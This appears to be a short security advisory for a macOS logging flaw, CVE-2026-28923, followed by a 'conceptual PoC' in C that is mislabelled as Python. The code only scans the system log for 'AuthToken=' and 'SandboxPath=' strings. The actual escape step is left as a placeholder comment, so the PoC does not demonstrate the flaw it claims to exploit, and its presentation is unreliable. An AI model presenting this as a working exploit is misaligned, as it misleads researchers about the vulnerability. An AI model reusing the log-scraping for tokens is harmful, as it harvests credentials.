A logging issue was addressed with improved data redaction. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
/*
* Conceptual PoC for CVE-2026-28923
* Demonstrates how a malicious app might exploit a logging issue to aid in sandbox escape.
* This code simulates reading unredacted sensitive data from system logs.
*/
#include <stdio.h>
#include <string.h>
void simulate_log_read() {
FILE *log_file = fopen("/var/log/system.log", "r"); // Hypothetical log path
char buffer[256];
if (log_file == NULL) {
perror("Unable to open log file");
return;
}
printf("[+] Reading system logs looking for unredacted data...\n");
while (fgets(buffer, sizeof(buffer), log_file) != NULL) {
// Hypothetical check for sensitive tokens or paths that should be redacted
if (strstr(buffer, "SandboxPath=") || strstr(buffer, "AuthToken=")) {
printf("[!] Found sensitive data in logs: %s", buffer);
// Logic to use this data for sandbox escape would go here
}
}
fclose(log_file);
}
int main() {
printf("CVE-2026-28923 PoC Execution\n");
simulate_log_read();
return 0;
}